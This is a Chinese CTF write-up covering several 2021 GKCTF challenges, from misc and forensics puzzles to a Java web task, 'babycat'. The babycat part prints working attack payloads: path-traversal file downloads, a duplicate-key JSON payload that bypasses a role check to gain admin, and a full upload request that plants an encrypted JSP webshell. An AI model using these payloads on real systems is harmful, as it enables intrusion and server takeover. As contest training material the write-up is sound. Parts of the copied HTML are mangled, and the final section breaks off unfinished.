2021GKCTF X DASCTF应急挑战杯部分Writeup

1.签到

2021GKCTF X DASCTF应急挑战杯部分Writeup_第1张图片
尝试了一波发现是16进制的base64编码,并且base64编码被反转了。

a = 'wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD'
b='jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM'
c='t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI'
d='6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL'
e='t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM'
f='z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL'
g='sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM'
h='DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y'
i='==QIhM0QDN0Q'

a=a[::-1]
b=b[::-1]
c=c[::-1]
d=d[::-1]
e=e[::-1]
f=f[::-1]
g=g[::-1]
h=h[::-1]
i=i[::-1]
print(a+b+c+d+e+f+g+h+i)

#ffllaagg{{}}WWeellcc00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!

解码得到notepad++的缓存文件:ffllaagg{{}}WWeellcc00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
自己手动修改一下得到flag{Welc0me_GkC4F_m1siCCCCCC!}

2.你知道apng吗

flag{a3c7e4e5-9b9d-ad20-0327-288a235370ea}。
这题真的是服了。
apng文件,浏览器打开发现其中某些帧内出现了二维码。
apng文件使用apngdis_gui.exe打开,将图片按帧分开。
分别在第二、第十、十八、二十六得到4张二维码。
02:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第2张图片
10:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第3张图片
18:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第4张图片
26:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第5张图片
其中后两张二维码直接用微信扫码就能出结果。不讨论
先说说第十怎么处理:
这张直接扫是扫不出来的,因为太淡了。
把第十张用stegsolve打开,查看Red通道2就可以扫了:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第6张图片
再来说说第二张,最耗时的也是这张。
这张因为是倾斜的,也扫不出来。最后使用这个工具qrazybox,一块块拼接起来。
复原后得到:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第7张图片
扫码得到flag的第一截。
四截拼起来就是flag。

3.银杏岛の奇妙冒险

这题要在《我的世界》这个游戏里面做任务,拿到最后一本书才能拿到flag。对于我这种从来不玩mc的人来说极其不友好,看了大佬的题解,可以直接翻找json得到flag.
part1:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\2.json:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第8张图片
part2:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\3.json:2021GKCTF X DASCTF应急挑战杯部分Writeup_第9张图片
part3:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\4.json:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第10张图片
part4:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\5.json:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第11张图片
合起来得到
GKCTF{w3lc0me_t0_9kctf_2021_Check_1n}

4.easycms

这题试了一下,后台地址是admin.php
用户名和密码是admin/12345
成功登陆后台。

5.excel 骚操作

不可见字符骚操作。
2021GKCTF X DASCTF应急挑战杯部分Writeup_第12张图片
把存在不可见字符的框框涂黑,最后得到一张汉信码:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第13张图片

中国编码APP扫码得到flag。
2021GKCTF X DASCTF应急挑战杯部分Writeup_第14张图片

6.Firefox forensic

这题是FireFox密码取证。补一波基本知识:
下载远程主机的 C:\Users\x\AppData\Roaming\Mozilla\Firefox\Profiles\xx.default-release\ 目录下的

key4.db
logins.json
然后根据此2文件可以获取到FireFox的密码。
实用工具https://github.com/lclevy/firepwd
使用前要执行以下命令安装一些依赖:
python3 -m pip install -r requirements.txt ##安装 PyCryptodome>=3.9.0 pyasn1>=0.4.8
2021GKCTF X DASCTF应急挑战杯部分Writeup_第15张图片
拿到flag。

7. 0.03

解压得到txt和zip
zip⽂件名提示flag在磁盘⾥
在这里插入图片描述
使用VeraCrypt挂载试试:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第16张图片
需要密码。
这里官方的WP是使用AlternateStreamView等软件搜索数据流。
这里要补一波VeraCrypt的知识:https://www.bilibili.com/video/BV1aW411Z74m?from=search&seid=8954438565874392851
AlternateStreamView是一个小实用程序,允许您扫描NTFS驱动器,并找到存储在文件系统中的所有隐藏的备用流
2021GKCTF X DASCTF应急挑战杯部分Writeup_第17张图片
注意,这里有一个坑。**如果文件原本是在压缩包内的,这时使用除WinRAR以外的软件进行提取会造成数据流丢失。所以务必使用WinRar进行文件解压。
我之前使用好压来解压就失败了,压根提取不到数据流。
把数据流提取出来之后得到:
在这里插入图片描述
根据官方WP这是个三分密码:
根据三分密码的对应字母表,得到密码为EBCCAFDDCE
或者UBMMASJJMU
使用EBCCAFDDCE重新挂载加密磁盘得到flag:
在这里插入图片描述

8.babycat

这题爆出了非预期。
先非预期来一波:
点击singup提示Not Allowed。
但是查看一下源码:

<html>
<head>
    <title>Registertitle>
head>
<body>
<script>alert('Not Allowed')script>
<script src="http://code.jquery.com/jquery-latest.js">script>
<script type="text/javascript">
    // var obj={};
    // obj["username"]='test';
    // obj["password"]='test';
    // obj["role"]='guest';
    function doRegister(obj){
        if(obj.username==null || obj.password==null){
            alert("用户名或密码不能为空");
        }else{
            var d = new Object();
            d.username=obj.username;
            d.password=obj.password;
            d.role="guest";

            $.ajax({
                url:"/register",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(d),
                dataType: "json",
                success:function(data){
                    alert(data)
                }
            });
        }
    }
script>
body>
html>

直接抓包POST发请求;
2021GKCTF X DASCTF应急挑战杯部分Writeup_第18张图片
登录看下:
发现一个upload和一个download。经测试upload只能admin才能使用。
下载:http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/static/cat.gif
接下来看看java项目的目录:
由于开发工具的不同,在开发状态下的项目目录有点不太一样,我直接用eclipse打包了一个war包,把war包解压看看实际执行的项目是什么结构:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第19张图片
2021GKCTF X DASCTF应急挑战杯部分Writeup_第20张图片
解压之后是这个样子。
尝试下载web.xml:
http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/WEB-INF/web.xml
成功:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第21张图片
根据上述web目录结构以及web.xml里面的映射,尝试下载源码:
http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/WEB-INF/classes/com/web/servlet/uploadServlet.class
使用JD-GUI反编译.class文件:
2021GKCTF X DASCTF应急挑战杯部分Writeup_第22张图片
审计一下register看看有没有什么办法变成管理员:

import com.google.gson.Gson;
import com.mysql.cj.util.StringUtils;
import com.web.dao.Person;
import com.web.dao.baseDao;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class registerServlet
  extends HttpServlet {
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setContentType("text/html;charset=UTF-8");
    req.setAttribute("error", "");
    req.getRequestDispatcher("WEB-INF/register.jsp").forward((ServletRequest)req, (ServletResponse)resp);
  }

  
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setCharacterEncoding("UTF-8");
    Integer res = Integer.valueOf(0);
    String role = "";
    Gson gson = new Gson();
    Person person = new Person();
    Connection connection = null;
    String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");  //把传进来的单引号替换成双引号
    
    Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");     //定义一个正则的编译表示,适配传进来的role这个字段
    Matcher matcher = pattern.matcher(var);               
    while (matcher.find()) {
      role = matcher.group();
    }
    
    if (!StringUtils.isNullOrEmpty(role)) {
      var = var.replace(role, "\"role\":\"guest\"");         //注册时把传进来的role一律替换成guest。
      person = (Person)gson.fromJson(var, Person.class);    //把传入的json字符串解析成对象
    } else {
      person = (Person)gson.fromJson(var, Person.class);
      person.setRole("guest");
    } 
    System.out.println(person);
    if (person.getUsername() == null || person.getPassword() == null) resp.sendError(500, "); 
    person.setPic("/static/cat.gif");
    try {
      connection = baseDao.getConnection();
    } catch (Exception e) {
      e.printStackTrace();
    } 
    if (connection != null) {
      String sql_query = "select * from ctf where username=?";
      Object[] params1 = { person.getUsername() };
      try {
        ResultSet rs = baseDao.execute(connection, sql_query, params1);
        
        if (rs.next()) {
          System.out.println(rs.next());
          resp.sendError(500, "user already exists!");
        } else {
          String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
          Object[] params2 = { person.getUsername(), person.getPassword(), person.getRole(), person.getPic() };
          res = Integer.valueOf(baseDao.Update(connection, sql, params2));
        } 
      } catch (SQLException e) {
        e.printStackTrace();
      } 
      baseDao.closeResource(connection, null, null);
    } 
    if (res.intValue() == 1)
      resp.getWriter().write("register success!"); 
  }
}

比较重点的地方我加了注释。
这里在把json字符串解析成对象的时候,使用json的特性"a":“1”,“a”:“2”。后面的值会覆盖前面的值,而且json中可以使用/**/代替空格而不影响程序对json的解析,因此可以这样构造payload过正则:

data={"username":"admin","role":"admin","role"/**/:"admin","password":"123"}

可以看到变成了admin
2021GKCTF X DASCTF应急挑战杯部分Writeup_第23张图片

非预期解:

变成管理员之后可以目录穿越,直接冰蝎一把梭:

POST /home/upload HTTP/1.1
Host: ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10785074997669248243606043085
Content-Length: 909
Origin: http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn
Connection: close
Referer: http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/upload
Cookie: JSESSIONID=BC40EF0DC530DC714FE65CDAE45D1FD3
Upgrade-Insecure-Requests: 1

-----------------------------10785074997669248243606043085
Content-Disposition: form-data; name="file"; filename="../../static/shell.jsp"
Content-Type: application/octet-stream

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------10785074997669248243606043085--

2021GKCTF X DASCTF应急挑战杯部分Writeup_第24张图片
2021GKCTF X DASCTF应急挑战杯部分Writeup_第25张图片

预期解:

这里预期解有另外一题:

babycat-revenge

这题就比较难了,接下来做一下预期解:

你可能感兴趣的:(CTF,CTF)